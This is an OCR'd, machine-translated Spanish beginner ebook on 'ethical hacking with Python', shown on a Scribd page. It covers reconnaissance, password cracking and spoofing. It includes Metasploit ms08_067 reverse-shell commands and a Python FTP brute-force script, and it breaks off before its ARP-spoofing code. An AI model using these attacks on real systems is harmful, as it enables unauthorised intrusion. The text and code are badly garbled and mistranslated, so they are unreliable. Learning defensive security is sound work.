0%(1)0% encontró este documento útil (1 voto) 461 vistas54 páginasHacking Con Python - Miles Price
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido,
reclámalo aquí.
Formatos disponibles
Descarga como PDF o lee en línea desde Scribd
TkHacking Con Python
La Guia Completa Para Principiantes De
Aprendizaje De Hacking Etico Con Python
Junto Con Ejemplos Practicos
Miles Price© Copyright 2017 - Todos los derechos reservados.
El contenido de este libro no puede ser reproducido. duplicado o transmitidos
sin permiso directo por escrito del autor.
Bajo ninguna circunstancia ninguna responsabilidad legal o la culpa se
celebraran en contra del editor para cualquier reparacion, dafios o pérdidas
econdmicas debido a la informacion en este documento, ya sea directa 0
indirectamente.
Aviso legal:
No se puede modificar, distribuir, vender. usar, cita 0 pardfrasis cualquier
parte o todo el contenido dentro de este libro sin el consentimiento del autor.
Aviso de exencién de responsabilidad:
Tenga en cuenta la informacion contenida en este documento es para fines
educativos y de entretenimiento. No hay garantias de ningiin tipo se expresa 0
implicita. Los lectores reconocen que el autor no esta participando en la
prestacién de asesoramiento juridico, financiero, médico o profesional. Por
favor, consulte a un profesional con licencia antes de intentar cualquiera de
las técnicas descritas en este libro.
Mediante la lectura de este documento, el lector esta de acuerdo en que bajo
ninguna circunstancia es el autor responsable de las pérdidas, directas 0
indirectas, que se haya incurrido como resultado del uso de la informacion
contenida en este documento, incluyendo. pero no limitado a, -errors .
omisiones 0 inexactitudes.INDICE
=
Cant El Hacking ba
Capitulo 2: La Formacion De Tu Hack
Capitulo 3: Encontrando una Contraseiia
Capitulo 4: L Spoof
Capitulo 5: Hackear una conexién de red
Capitulo8: El Las mejores herramientas de hacking para uso
G 9: Como -
ConclusionIntroduccién
Este libro es todo acerca de la hacking - hacking ético para ser precisos.
Hacking ético es el arte de poner a prueba su propia red y los equipos de los
agujeros de seguridad y aprender a cerrar los mismos antes de un hacker no
ética tiene la oportunidad de entrar y hacer dafio.
Con todas las historias en las noticias sobre una base casi diaria sobre
hacking informatica, seguridad digital se ha convertido en uno de los factores
mas importantes en nuestras vidas. La mayoria de las personas hacen sus
operaciones bancarias en linea, utilizan PayPal, que utilizan el correo
electronico y éstos, ademas de cualquier otro servicio o sitio web utiliza la
informaci6n personal, estan abiertos a ser hackeado.
Para decirlo de manera muy simple, un hacker es una persona que puede
tener acceso a un sistema informatico o red y explotarla para robar
informacion, robar datos financieros, enviar un virus a fin de cuentas, y hacer
todo tipo de otros dafios. Este libro esta disefiado para ayudarle a desarrollar
los métodos que hay que tener esos hackers lejos de su sistema. Y, para ello,
hay que aprender a pensar como un hacker.
Python es uno de los lenguajes de programacion mis faciles de aprender y
esto es lo que vamos a utilizar para nuestra hacking ético es asi, sin mas
preambulos, vamos a empezar!
Este libro ha sido traducido a través de un software automatizado para llegar
a un publico mas amplio. Por favor, ignore cualquier traduccion erronea.Capitulo 1: Conceptos Basicos de Hacking
Todo el que oye la palabra “hacking” sera pensar en diferentes cosas.
Algunas personas lo ven como una fantastica oportunidad de aprender sobre
lo lejos que pueden ir en un sistema informatico, mientras que otros piensan
acerca de como pueden utilizar para proteger sus propios sistemas. Y luego
estan los que lo ven como una forma de ganar dinero por el robo de
informacién.
Hay un monton de maneras en que la hacking puede ser utilizado, pero, por
regla general, la hacking se conoce como el uso de software o sistemas
informaticos de manera que los fabricantes no tienen la intencién; a veces
para proporcionar una proteccién, para aprender cémo funcionan las cosas 0
para entrar en sistemas que no tenga autorizacién para.
Hay algunos tipos de hacker y todo el uso mas 0 menos el mismo tipo de
meétodos para entrar en un sistema, pero todos ellos tienen sus propias razones
para hacerlo. Estos son los tres principales
Sombrero Negro Hackers
Estos son los chicos malos del mundo hacking. Hackers de sombrero negro
son los que acceden a un sistema con fines maliciosos, ya sea en pequefia
escala, el robo de un pufiado de contrasefias o la hacking en una cuenta
bancaria o dos. 0 en una escala mucho mas grande, cuando se refieran a las
grandes organizaciones y causan caos completo . Tipicamente, un hacker de
sombrero negro se busca robar datos, borrar archivos e informacién o
modificar los sistemas informaticos.
Sombrero Blanco Hackers
Estos son los buenos, los hacks informaticos que trabajan para proteger los
sistemas, ya sea por cuenta propia 0 los sistemas de las personas que los
emplean. Usted encontrara que la mayoria de las organizaciones mas grandes,
conocidos emplean los hackers de sombrero blanco sobre una base
permanente 0 semipermanente para mantener sus sistemas protegidos y
seguros frente a accesos no autorizados. El trabajo de un sombrero blanco 0
un hacker ctico es para introducirse en un sistema para ver dénde seencuentran los puntos débiles y luego arreglar esas debilidades para que nadie
como no deberia estar ahi pueden entrar.
Sombrero Gris Hackers
Estos hacks informaticos se encuentran en el centro del blanco y los
sombreros negros. Van a utilizar los medios legales ¢ ilegales para entrar en
un sistema, ya sea para explotar las debilidades 0 para mejorar un sistema
para que no pueda ser hacking. La mayoria de las veces, un hacker de
sombrero gris se entra a un sistema sdlo para demostrar que existe una
debilidad alli; no tienen ninguna intencién maliciosa ¢ informard al
propictario del sistema que tienen un problema. A veces esto se hace con la
intencion de pedir el pago de remendar la debilidad, pero sobre todo se hace a
través de la curiosidad.
En este libro, vamos a estar mirando a la hacking técnicas, aprender como
proteger a nuestros propios sistemas de hacking ilegal y vamos a estar
buscando la manera de usar lenguaje de programacion Python computadora
para hacer esto.
Renuncia. Tengo que decir esto - la participacién en la hacking ilegal o
tratando de conseguir en un sistema que no tiene permiso de acceso no se
tolera ni fomenta y. si lo hace y es sorprendido, es posible hacer frente a
penas severas.
Las Habilidades Necesarias Para el Hacking
no se puede simplemente sentarse en su ordenador y hacking lejos como un
profesional y sin un trabajo. Se necesita practica, determinacion y mucho
trabajo, pero en realidad no es tan dificil. Yo estaré le proporciona
instrucciones sobre como aprender, y usted sera capaz de utilizar lo que ha
aprendido aqui en su propio sistema informatico.
Una de las cosas que usted necesita tener es un conocimiento basico de la
codificacién con Python - si usted no tiene esto todavia, vaya, aprenderlo y
luego volver. Otras habilidades que necesita son:
e Conocimientos informaticos - Usted no necesita ser un experto en
un ordenador, pero si es necesario ser capaz de navegar un sistema y
entender los conceptos basicos de su sistema. Usted necesita sabercémo hacer para archivos de registro de edicién, todo sobre la red y
cémo funciona y es necesario entender el concepto de usar las lineas de
comandos dede Windows
¢ Conocimientos de redes- La mayoria de las veces, un ataque
informatico se lleva a cabo en linea por lo que necesita para estar al
tanto de los principales conceptos detras de la creacion de redes y
cuales son los términos. Si usted no tiene ni idea de lo absoluto de DNS
y VPN media, si un puerto es un lugar donde un barco entra y router es
un mapa del GPS, es necesario que se vaya y hacer un poco de tarea en
primer lugar. entender los términos.
e Linux OS - Cuando se trata de la hacking. Linux es de lejos el
mejor de los sistemas operativos. La mayor parte de las mejores
herramientas de hacking estan basados en Linux y Python ya esta
instalado
e Virtualizacién - Antes de introducirse en un sistema que seria una
buena idea para comprender lo que esté haciendo un dafio irreparable
de lo contrario se puede hacer. O es posible que s6lo quedar atrapados
por el administrador del sistema. Use un pedazo de software como
VMware Workstation para poner a prueba sus cortes a cabo para que
pueda ver lo que el resultado sera antes de hacerlo de verdad.
= Wireshark - Mas sobre esto mas adelante, pero usted debe tener
una comprensién de Wireshark, uno de los mejores analizadores de
protocolo y rastreadores para el trabajo.
¢ Habilidades de bases de datos - Si desea gato en una base de datos,
debe tener algunos conocimientos de bases de datos. Obtener un
conocimiento basico de MySQL y Oracle antes de empezar
¢ Habilidades Scripting - Aqui es donde Python vendra en Usted
debe tener un conocimiento basico de como crear y editar secuencias de
comandos para que pueda construir sus propias herramientas de
hacking-.
e Ingenieria inversa Esto es una lo bueno de aprender, ya que le
permitir’ tomar una picza de malware y se convierten en una
herramienta de hacking
Soy consciente de que esto parece un buen monton de aprendizaje. pero todo
es vital para su éxito como un hacker ético. Hacking no es un juego y no es
algo para tomar a la ligera: Si usted no sabe lo que esta haciendo, puedecausar muchos problemas y una gran cantidad de dafios que no se pueden
resolver facilmente.Capitulo 2: La Formacién De Tu Hack
Cuando se tiene todo el conocimiento basico que necesita para empezar a
hacking, se puede elaborar su plan de ataque. Cada hack informatico debe
tener algun tipo de plan, una idea de lo que van a hacer, cémo se va a hacer y
lo que esperan lograr. Si pasas demasiado tiempo en una red, tropezando
ciegamente en todo, vas a quedar atrapados por lo que necesita un buen plan
que es eficaz y ahi es donde cl mapeo de sus cortes entran en juego.
Cuando estas en una red, no hay necesidad para que usted comprucbe cada
uno de los protocolos del sistema al mismo tiempo. Todo esto va a hacer es
que confunda y, aunque lo mas probable es encontrar algo malo, no tendra
demasiada idea de lo que es simplemente porque se tiene demasiado en el
camino. Compruebe cada parte del sistema de forma individual por lo que
ahora exactamente dénde esta cualquier problema.
Al asignar sus cortes, comenzar con un tnico sistema o aplicacién,
preferiblemente el que requiere mas ayuda. De esta manera, se puede hacer a
todos uno a la vez hasta que todo esta hecho. Si no esté seguro de por dénde
empezar, hagase las siguientes preguntas:
1. Si mi sistema han sido objeto de un intento de ataque, que bits del
sistema seria la causa de la mayoria de los problemas, 0 pudiera causar
la pérdida de la mayoria de la informacion?
2. {Qué parte de su sistema es el mas vulnerable a ser atacado?
3. {Qué partes de su sistema no estén demasiado bien documentados 0
rara vez se comprueba? {,Cuantos de estos son realmente familiarizado?
Si usted puede contestar a estas preguntas se puede empezar a hacer una lista
de las aplicaciones y sistemas que usted piensa que debe ser revisado. Hacer
un monton de notas mientras que usted esta haciendo esto para que pueda
mantener todo en orden. También tendré que documentar cualquier problema
se encuentra con lo que pueden ser fijas.
Organizar Su Proyecto
Ahora usted tiene su lista es el momento para asegurarse de que todo esta
cubierto. Usted va a querer poner a prueba todo en su sistema, incluyendohardware, para asegurarse de que no es vulnerable a los ataques. Esto
incluye:
enrutadores y conmutadores
Cualquier dispositivo que esta conectado a su sistema, incluyendo
ordenadores, portatiles, méviles y dispositivos que
funcionen los sistemas de
e servidores web, bases de datos y aplicaciones de
hackfuegos - si usted no ha conseguido uno, conseguir uno!
Servidores de correo electronico, impresién y archivo
No van a ser un monton de pruebas realizadas durante este proceso, pero se
asegurard de que todo lo que se comprueba y que. si hay vulnerabilidades. se
encuentran ellos. Los mas dispositivos y sistemas que necesitan de cheques,
cuanto mas ticmpo se van a necesitar para conseguir su proyecto organizado
Cudndo Se Debe Hack?
Una de las mayores preguntas que la gente es cuando es el mejor momento
para hacking para obtener el maximo de informacién sin interponerse en el
camino de otros usuarios del sistema. Si usted esté haciendo esto en su propio
ordenador en su casa, a continuaci6n, en cualquier momento que mas le va a
trabajar, pero, si usted estd en un sistema mds grande, donde hay un montén
de otros usuarios que acceden a Ia informacin, pensar cuidadosamente
acerca de cuando se va a hacking, Usted no desea causar perturbaciones a
como funciona un negocio de manera no elige un tiempo muy ocupado.
¢ Qué Parte De Mi Sistema Es Visible Para Otras Personas?
Ahora esta listo para introducirse por lo que la primera cosa que hay que
hacer es averiguar lo que otros pueden ver de su sistema. Buenos hackers
investigar el sistema antes de que se corte, en busca de informacion personal
que puede ser vulnerable. Si es el propietario del sistema, es posible pasar por
alto algunas de estas piezas sin querer por lo que tendrd que examinar su
sistema desde una nueva perspectiva - la de un hack informatico.
Hay varias opciones para la recopilacion de la informacién, pero el lugar mas
obvio para comenzar es en linea. Ejecutar una busqueda en si mismo, ver qué
informacion est alto. A partir de ahi, se puede utilizar un escdner de puertos
locales para sondear su sistema, averiguar lo que otros pucdan ver. Esto essdlo basico, pero usted va a tener que cavar mas profundo para ver
exactamente qué informacién su sistema esta enviando para el mundo para
ver. Si usted esta haciendo esto en nombre de su empresa, se debe prestar
especial atencion a:
e La informaci6n de contacto para las personas que estén conectadas a
la empresa
@ Notas de prensa que hablan de las principales empresa cambia
¢ Informacion sobre las adquisiciones y fusiones de la compajiia
cuantos documentos a la SEC que pueden estar disponible
© Cualquier marca registrada 0 patentes
e limaduras de incorporacién que no estén en la SEC
hay una gran cantidad de informacién que debe buscar, incluso si se trata de
un sistema personal, pero es informacion valiosa y lo que necesita saber
cuanto es por ahi que puede ser utilizado por un usuario remoto. No se
detenga en busquedas de palabras clave: tendra que ir mds profundo y
ejecutar bisquedas avanzadas.
Mapear Su Red
cuando esté seguro de que usted tiene toda la informacion que necesita, puede
comenzar a trabajar en su hacking ético. Si la red tiene una gran cantidad de
dispositivos y una gran cantidad de informaci6n, seri mucho mas dificil de
proteger de manera asegurarse de que todo en la red es segura y no se utiliza
de manera incorrecta.
Mapeo de la red le permite ver lo que esta siendo la huella dejada por su red 0
sistema. Si usted tiene sus propios sitios web, comenzar con una busqueda
Whois - esto le mostrara toda la informacion que se tiene acerca del registro
de nombres de dominio. Si su nombre aparece en una busqueda, existe la
posibilidad de que la informacion de contacto es visible para el publico
general.
Whois también proporciona informacion valiosa acerca de los servidores
DNS en un dominio, asi como informacion sobre el soporte técnico
proporcionado por su proveedor de servicios. Usted debe hacer un punto de
comprobacién de la seccién DNSstuf para que pueda ver lo que es visible
sobre su nombre de dominio, como por ejemplo:e Como maneja el servidor de servidores de correo electronico
donde los anfitriones son
e Informacion general de registro
Si hay una gran cantidad de spam
Otro buen lugar para buscar es en los grupos de Google y los foros. Estos son
lugares donde los hackers biisqueda de informacion sobre una red y que solo
podria ser sorprendido por la cantidad de informacion que se envia en un
foro, incluso si no lo ponga! Dependiendo de lo que se encuentra alli. es
posible que tenga varios problemas de seguridad para trabajar. Es posible
encontrar cosas como direcciones IP. nombres de dominio, nombres de
usuario y otra informacion y todo lo que se necesita para convertir esa
informacion es una busqueda simple.
Hay algunas buenas noticias sin embargo; si se puede encontrar la
informacion, puede climinarlo antes de que Ilegue a las manos de los hackers
maliciosos. Siempre y cuando tenga las credenciales correctas, es decir, usted
es el propietario de la informaci6n 0 se trabaja en el departamento de TI de su
empresa, puede acercarse al administrador apoyo a los sitios y presentar un
informe que eliminara la informacién.
Exploracién Del Sistema
Mientras est trabajando a través de todos estos pasos, usted tiene un objetivo
en mente - para determinar la cantidad de informacion esta disponible para
que todos lo vean y los hackers de usar. Obviamente, esto no es un trabajo de
cinco minutos - un verdadero hack informatico sera determinado para acceder
a su sistema por lo que debe Ilegar alli antes de que se pueda. Asi, una vez
que haya reunido la informacion, hay algunas cosas mas que hay que hacer
para asegurarse de que todo esta seguro. Estos andlisis del sistema se van a
poner de relieve algunas de las vulnerabilidades que puedan existir en el
sistema para que sepa donde comenzar a proteger su sistema. Algunas de las
exploraciones que debe hacer incluyen:
Una visita a Whois para ver los nombres de host y direcciones IP.
Mira cémo el sitio las coloca y verificar la informacion que aparece en
ella
e Escanear su servidor interno de manera que se obtiene una mejor
idea de lo que otros puedan ver y acceder. un hacker puede ser interna,ya en la red o que puede ser desde fuera asi que asegtirese de que todos
en su red tiene las credenciales correctas
e = Asegurate de ping sistema. Utilidades de terceros pueden ser
capaces de ayudarle a cabo alli, en particular, Superscan, ya que le
ayuda a revisar varias direcciones a la vez. Ademias, si usted no esta
seguro de su puerta de enlace IP, vaya a [Link].
¢ Por ultimo, es necesaria una exploracion externa, utilizando todos
los puertos abiertos en su sistema. Una vez mas, SuperScan puede
ayudar a ver lo que otros pueden ver en su sistema y se debe utilizar en
conjuncion con Wireshark.
Todos estos son grandes maneras de ver qué informacién esta siendo enviado
por su direccién IP y lo que los hackers pueden ver. Cualquier buen hacker
puede hacer lo mismo que usted acaba de hacer, ver lo que esta pasando, lo
que los corteos electrénicos estan siendo enviados y recibidos, incluso
aprender qué informacion es necesaria para obtener acceso remoto. El
objetivo de estos analisis es que usted esta buscando para ver donde un
hacker puede entrar en el modo que se puede cerrar la puerta y proteger sus
datos personales.
Cuando se sabe todo esto, se puede empezar a aprender como un hacker
puede tener acceso a su computadora o red. En su mayoria, van a elegir el
punto de acceso mis facil mientras permanecen ocultos. Este es el primer
punto que se debe agregar en las capas adicionales de proteccién, para
mantenerlos fuera
Asegirese que realiza todas estas exploraciones periddicas. Solo haciendo
una vez simplemente no es suficiente. Cuanto mas el uso de la red, los que
mas personas utilizan la red y se afiaden los mas dispositivos, mas vulnerable
se vuelve. Exploraciones periddicas le ayudara a mantener su sistema tan
seguro como sea posible.Capitulo 3: Encontrando Una Contrasefa
Uno de los ataques mas basicos que pueden ser victimas de esta teniendo sus
contrasefias hackeadas. Si un hacker puede tener acceso a alguna de las
contrasefias, que sera capaz de llegar a algunos de la informacion que desean.
Debido a esto, muchos hackers estan dispuestos a gastar un poco de tiempo a
averiguar contrasefias.
Estos, junto con otros datos personales son vistos como los puntos mds
débiles y menos seguras de acceso, simplemente porque el secreto es el tinico
que se interpone en el camino de un hacker. Si le sucede a decirle a alguien
uno de sus contrasefias 0 lo escribes y lo deja ahi, es una invitacion abierta.
Hay varias maneras de que un hacker puede tener acceso a las contrasefias y
es por eso que son un eslabén débil. Muchas personas y empresas prefieren
tener una capa adicional de proteccién para asegurarse de que su informacion
se mantiene segura.
Para este capitulo, vamos a mirar en el descifrado de contraseiias - este es uno
de los primeros cortes éticos que debe tratar de ver qué tan seguro es su
informacion.
Cémo Descifrar Contrasefias
Si los ataques fisicos y la ingenieria social no son una opcién. un hacker
utilizar otros métodos para obtener la informacion que descan. es decir,
herramientas de robo de contrasefias, como RainbowCrack, John the Ripper y
Cain y Abel.
Si bien algunas de estas son herramientas muy utiles, muchos requieren que
ya ha obtenido acceso al sistema de destino antes de que puedan ser
utilizados con eficacia. Esto podria ser una cantidad no pequefia de
problemas si se intenta ¢l acceso remoto, pero, una vez que se encuentre,
siempre y cuando use las herramientas adecuadas, cualquier informacion
protegida por una contrasefia es suya, 0 los hacks informaticos, para la toma.
Contraseiiacifrado
de cifrado de la contrasefia dees muy importante, pero todavia hay manerasde conseguir a una contrasefia, incluso si se ha ciftado.
Tan pronto como se crea una contrasefia de una cuenta, que se cifra con un
algoritmo hash unidireccional - esto es una cadena cifrada. Estos valores hash
no se puede revertir, de ahi el nombre “unidireccional”, y que hace que su
contrasefia mas segura y mas dificil de averiguar.
Ademias de eso, si esta utilizando Linux para descifrar contrasefias, hay otra
capa de proteccion a pasar. Linux incluye otra capa de seguridad. ya que
cambia aleatoriamente las contrasefias. Esto se hace mediante la adicién de
un valor que hace que una contrasefia tinica y que se detiene mas de un
usuario que tiene los valores de hash idénticas.
A pesar de ello, todavia hay algunas maneras de descifrar contrasefias y
algunas de esas formas son:
e@ Ataque De Diccionario - un ataque de diccionario hace uso de
palabras comunes que se encuentran en el diccionario y los compara
con los hashes de contrasefias en las bases de datos. Esta es una de las
mejores maneras de encontrar contrasefias débiles 0 los que se han
escrito con ortografias alternativas comunes, tales como “pa $$
palabra”. Este es uno de los mejores ataques para Ievar a cabo para
asegurar que todas sus contrasefias de red son seguras.
¢ Ataque De Fuerza Bruta - un ataque de fuerza bruta seri capaz de
romper casi cualquier contrasefia, ya que trabaja en combinaciones de
Ietras, caracteres y nimeros hasta que se obtiene la combinacion
correcta. Esto puede Ievar mucho tiempo, sin embargo, especialmente
si las contrasefias son los fuertes. La mejor manera de hacer esto es
para su instalacion en un equipo que no es necesario usar por un
tiempo.
e Ataque Del Arco Iris - Los arco iris estan tomando herramientas
que se utilizan para tratar de descifrar contrasefias que han sido hash y
pueden ser un gran éxito. Herramientas del arco iris son también muy
rapido en comparacién con otras opciones. El tinico inconveniente
importante es que estas herramientas solo son capaces de descifrar
contrasefias que tienen no mas de 14 caracteres en ellos por lo que, si el
suyo tiene mas, las herramientas no encontraran ellos - y que es una
buena pista para cuando se establece su propio contrasefias!Otras Formas De Descifrar Contrasefias
Obviamente, la mejor manera seria tener acceso fisico al sistema, pero, en la
mayoria de ocasiones. que no tendra esto por lo que tendra que buscar otras
opciones. Si se opta por no utilizar cualquiera de las herramientas de
cracking, se puede bajar un par de rutas:
e Registro De Pulsaciones De Teclas - esta es una de las mejores
maneras porque un dispositivo de grabaci6n, por lo general una pieza
de software oculto, esta instalado en el dispositivo de destino y se hara
un seguimiento de toda la entrada de pulsaciones de teclas en el
ordenador.
e = Almacenamiento Débil - hay algunas aplicaciones que pueden
almacenar contrasefias y éstos se almacenan localmente. Esto hace que
sea facil para un hacker para obtener la informaci6n - una vez que el
acceso fisico se gana al equipo de destino de una busqueda simple por
lo general producen todo lo que necesita saber.
© Agarrando a Distancia - si no se puede acceder fisicamente al
destino, puede obtener la informacién que desea de forma remota.
Usted tend que iniciar un ataque de suplantacién - mas sobre esto en
el siguiente capitulo - y luego tendri que explotar el archivo SAM.
Metasploit es la mejor herramienta a utilizar para ayudarle a obtener la
direccion IP del equipo de destino y desde el dispositivo que se utiliza
para acceder a ella. Estas direcciones IP se conectan a continuacion,
para que el sistema va a pensar en la informacion que se envia a la
computadora correcta cuando, de hecho, que viene a ti. Usted tendria
que utilizar el siguiente cédigo para esto:
Abrir Metasploit (después de descargarlo) y escriba lo siguiente en la linea de
comandos:
‘msf> utilizacion explotar / ventanas / SMB /
ms08_067_netapi” Acontinuacion. escriba este comando
en:“MSF(ms08_067_netapi )> set de carga util / ventanas / meterpreter /
reverse_tep.
Una vez que tenga las direcciones IP. tendré que escribir los siguientes
comandos para que pueda explotar esas direcciones:MSF (ms08_067_netapi)> establece rhost [la direccin IP de destino]
MSF (ms08_067_netapi)> establece LHOST [su direcci6n IP]
Ahora, para llevar a cabo el tipo de explotacin, en este orden:
MSF (ms08_067_netapi)> explotar
esto le dard una terminal y esto va a hacer la vida mas facil para usted en
conseguir el acceso remoto que se necesite. El sistema creer que estas
destinado a estar alli, ya que tendra la direccién IP correcta y que le permitira
acceder a un poco de informacion.
Creacién De Su Propio FTP Password Cracker
Ahora es el momento para un trabajo practico - vamos a utilizar Python para
crear nuestra propia galleta de la contrasefia. Sélo se va a utilizar esto para
comprobar las contrasefias en su propio sistema asi, para empezar, descarga
Kali para Linux.
Si esté ejecutando Windows, tendri que instalar una méquina virtual en el
ordenador y luego descargar Linux - encontrara las instrucciones sobre como
hacer esto en Internet.
Kali abrir y luego abrir el editor de texto. Escriba lo siguiente en el simbolo
del sistema - esto es la secuencia de comandos
#/usribin / Pythoncontraseiia);!
de socket importacion
import re
import sys
def conectan(nombre de usuario,
$ = [Link] (socket.AF_INET, socket.SOCK_STREAM)
print’(*) Trying” + nombre de usuario +”.” + Contraseiia
s, conecte ([Link] (", 21))
= datos [Link] (1024)
[Link] ( ‘usuario’ + nombre de usuario + Ar\n")datos = [Link] (1024)
[Link]('\r\n'PASS' + contrasefia
datost’).[Link] (3)
[Link] (‘QUIT \r\n')
[Link] ()
de datos de retorno
Nombre de usuario=“NuilByte”
contrasefias= [ “test”, “copia de seguridad”, “contrasefia”, “12345", “
raiz” “admin1 administrador’ ,“fip’,”
para la contrasefia en las contrasefias:
intento de conectar = (nombre de usuario, contrasefia)
230°
si intento
imprimo‘[*) contrasefia encontré:’ + contrasefia
[Link] (0)
Tenga en cuenta que este script incluye unos médulos de Python importados,
como sys, rE y el z6calo. Entonces creamos un enchufe que se conecta a
través del puerto 21 a una direccion IP especifica. A continuacion, creamos
una nueva variable que era el nombre de usuario y le asigné un valor de
NullByte. A continuacién, se creo una lista de contrasefias, contrasefias
llamado - esto tiene algunas de las posibles contrasefias en el mismo. A
continuacion, un bucle se utiliza para tratar las contrasetias hasta que la lista
se realiza sin éxito.
Puede cambiar los valores en el guion; probar su camino primero y luego
cambiar lo que cree que hay que cambiar. Cuando haya terminado, ya sea
utilizando el cédigo como esta escrito o hacer los cambios, guarde el script
como [Link]. Asegtirese de que tiene permiso para hacer que se
ejecute en el servidor FTP. Si se encuentra una coincidencia contrasefia, linea
43 le dira la contrasefia; Si no se encuentra ninguna coincidencia la linea esta
vacio.Una de las mejores maneras de conseguir el acceso a la informacion es
conseguir la contrasefia de red. El acceso a la red es. posiblemente, los puntos
de acceso mas débiles porque se pueden cometer errores y otros pueden dejar
pasar la contrasefia. Sin embargo, puede que tenga que utilizar una de las
herramientas 0 los ataques que hemos hablado hasta ahora. Practicar el uso de
estos para ver si alguien puede tener acceso a sus contraseiias.Capitulo 4: Ataca Spoof
Gracias a [Link] 1/mitm-4-arp-spoofing-
exploit/ para el cédigo en este capitulo.
Cuando se hacen trizas una red. la nica cosa que realmente necesita es
buenas habilidades de investigacion. Hay que ser capaz de subirse a una red y
tener un buen aspecto sin que nadie sepa que estas ahi. A veces. un hacker
acceder a un sistema y sentarse alli, en silencio y observando y otras veces.
ellos estarin alli bajo la apariencia de otra persona, alguicn que esta
autorizado para estar en la red. por lo que se les permita permanecer alli. Para
ello, los hackers utilizan técnicas de suplantacién de identidad.
Spoofing es una técnica que consiste en el engafto, utilizado por los hackers
que quieren hacerse pasar por otra persona, otro sitio web o software. Esto
permite que el hacker para conseguir a través de los protocolos de seguridad
que de otro modo les impediria acceder a la informacién que buscan. Hay un
mont6n de diferentes técnicas de suplantacién de identidad, incluyendo
© IP Spoofing - esto implica el hacker enmascarar u ocultar su
direccion IP. Normalmente. ésta sera la direccion IP del ordenador que
esta utilizando para el corte y la razon de enmascaramiento es para que
la red es engaiiado en la creencia de que este equipo es el que la red
deberia estar hablando con. La red se acaba de asumir que el equipo
esta destinado a ser alli y permitira que las comunicaciones pasan por el
hacker. La manera de hacer esto es a través de la imitacion de la
direccion IP 0 el intervalo de direcciones IP. asegurando que el
dispositivo del usuario remoto pasa los controles para el criterio
establecido por el administrador de red.
Lo que sucede aqui es que la red tiene la intencién de ataque confia en ti, lo
que le permite la entrada y el acceso a toda la informacién que desea. La red
permitira que los paquetes de informacién Ilegan a su sistema, ya que
considera que son el receptor principal. Se puede hacer una de dos cosas con
estos paquetes - sdlo vista a través de ellos 0 hacer cambios antes de ser
enviados al receptor correcto. Nadie va a ser cualquier enterarse de que otra
persona esta interceptando Ia informacién.@ DNS Spoofing - El hacker trabajara junto con una direccion IP de un
sitio web especifico, con la intencién de enviar a los usuarios a un sitio
web malicioso. A partir de aqui, el hacker puede tener acceso a la
informacion reservada y confidencial y la informacion del usuario. Esto
es. al igual que el ataque de suplantacion, un hombre en el medio (MiTM)
ataque que permite toda la comunicacion Ilegan a través de usted,
engafiando al usuario haciéndole creer que se estén comunicando con un
sitio web real. Esto le da al acceso de hackers a grandes cantidades de
informacion confidencial
Para que funcione, el hacker y el usuario debe estar en la misma LAN. Para el
hacker para obtener acceso a la red LAN del usuario. todo lo que él o ella
tiene que hacer es ejecutar biisquedas para todas las contrasefias débiles
conectados a la LAN. Este bit se puede hacer de forma remota y. una vez que
el hacker tiene lo que se necesita, se puede redirigir al usuario a un sitio web
malicioso que se parece a la que ellos tenian la intencién de acceso; Desde
alli, cada pieza de la actividad puede ser monitoreado.
© Email Spoofing - Este es uno de los mas eficientes y el método mas
cominmente utilizado de suplantacién de identidad. Cuando es falsa una
direccion de correo electrénico, el servicio de correo electrénico a ver
cualquier correo electrénico enviado por un hacker como genuino. Esto
hace que sea sencillo para un hacker para enviar correos electronicos
maliciosos, algunos con archivos adjuntos que no son seguros,
directamente a su destino. Si uno de estos mensajes de correo electronico
se abre, quizds porque esta en su bandeja de entrada y no su carpeta de
correo no deseado, podria causar problemas y el hacker encontrara mucho
mas facil de conseguir en su sistema.
° Numero de teléfono Spoofing - Con el nimero de teléfono
suplantaci6n de identidad, el hacker usara niimeros de teléfono y codigos
de area falsos para ocultar quiénes son y donde estan. Esto hard que sea
muy facil para un hacker para acceder a los mensajes de teléfono, para
enviar mensajes de texto falsos y falsificar la localizacion de las llamadas
telefonicas entrantes. Esto puede ser un medio muy eficaz para los hackers
que estan buscando para hacer un ataque de ingenieria social.
Cuando un ataque de suplantaci6n se realiza correctamente, puede causar un
sin fin de dafio a un objetivo, ya que es muy poco probable que un
administrador de red sera capaz de detectar el ataque. Los protocolos deseguridad que se utilizan para proteger un area del sistema lo que permite al
hacker a través y, muy a menudo, un ataque de suplantacién seran sélo el
comienzo. El proximo paso sera la MITM o el hombre en el centro Atacar.
El Hombre En Los Ataques Media
vez que un hacker pueda introducirse en el sistema de las posibilidades de
que realizan un hombre en medio del ataque es alto. Mientras que algunos
hackers seran suficientes sdlo para ganar acceso a los datos feliz. otros se
quicren Ilevar a cabo ataques que les dara un poco de control y estos son lo
que se conoce como el ataque MiTM.
Estos ataques son posibles cuando un hacker lleva a cabo ARP Spoofing.
Esto es cuando los mensajes falsos APR se envian a través de las redes
hackeados y, cuando tiene éxito los mensajes daran el hacker la oportunidad
de vincular su direccién MAC a la direccién IP de una persona que esta
autorizada a estar en la red. Una vez que las direcciones MAC e IP se han
relacionado con el hacker puede recibir todos los datos enviados a la
direccién IP del usuario y este acceso le dara el hacker toda la informacion
que necesitan y la capacidad de hacer esto:
e Sesion Secuestro - un hacker puede utilizar el falso ARP robar un
identificador de sesion. dandoles la capacidad de utilizar las
credenciales en un momento posterior, para acceder al sistema cuando
estan listos
e Ataque DoS - un ataque de denegacion de servicio, también
conocido como un ataque de denegacidn de servicio, se puede hacer
cuando el ARP spoofing esta hecho. Se vincula la direccion MAC del
ordenador del atacante a la direccion IP de la red y todos los datos que
han sido enviados a otras direcciones IP por la red va a ser desviado al
dispositivo del hacker y se produciréuna sobrecarga de datos
e MiTM- este ataque es cuando el hacker esta integrado en la red,
pero es invisible para los demas. Son capaces de interceptar o modificar
los datos y la informacion que se envian entre dos objetivos, con la
informacion que se remonta a través del sistema y de los objetivos que
tiene ni idea de que el hacker estaba alli.
Por lo tanto, ahora sabemos lo que es un MiTM es por lo que vamos aechar un vistazo a cémo Hevar a cabo una parodia de ARP y luego
empezar un ataque MiTM usando Python. Para ello, tenemos que
utilizar Scapy y vamos a tener tanto el hacker y el objetivo de la misma
red informatica de [Link]/24. El hacker tendra una direccion IP
[Link] od y una direccion MAC de 00: 14: 38: 00: 0: 01. El
objetivo tendra una direccion IP [Link] y una direccion MAC de
00: 19: 56: 00: 00: 01, Por lo tanto, el uso de Scapy. vamos a forjar el
paquete ARP, siguiendo el objetivo y vamos a hacer esto utilizando el
modulo Scapy en Python:
